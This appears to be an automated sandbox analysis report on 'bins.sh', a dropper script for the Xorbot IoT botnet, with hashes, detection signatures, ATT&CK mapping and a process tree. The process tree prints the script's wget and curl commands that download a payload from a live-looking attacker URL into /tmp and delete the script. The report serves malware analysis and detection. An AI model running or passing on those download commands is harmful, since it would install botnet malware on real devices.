xorbot | a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3

Analysis

max time kernel
150s
max time network
147s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01-12-2024 15:31

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General

Target

bins.sh
Size

10KB
MD5

cb16380cf509277eec9f1b0e1506720c
SHA1

54cfb023dbb8ffff117ccd3152621c482d26d480
SHA256

a665a16ba49682c6dfd69b135542ffcb25d8d61746c7d8127e135e8bc81e00f3
SHA512

b8a0eb43de5b0154fb16438423198451fe8c0dccb7f9c029798768e8dbb13b384bc7e4028d7d6f893dcb634a72d45e12a383dbb6cc60d3523c28658695c89b01
SSDEEP

96:YQMRLn8vLtltFtitpZLHbgL8AhyGPEZtttOH1HVH6YMraA8q23Ln5KC7LztmXnzc:7QQ2wV/uzW1swnw2DhuzW1swkmk+

Score

10^/10

xorbot botnet discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurl

pid	Process
719	wget
817	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wget

description	ioc	Process
File opened for modification	/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:719
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:817

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/J79Au4jZ2K2hCDUUMYRY402czvWv8JxpXv

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

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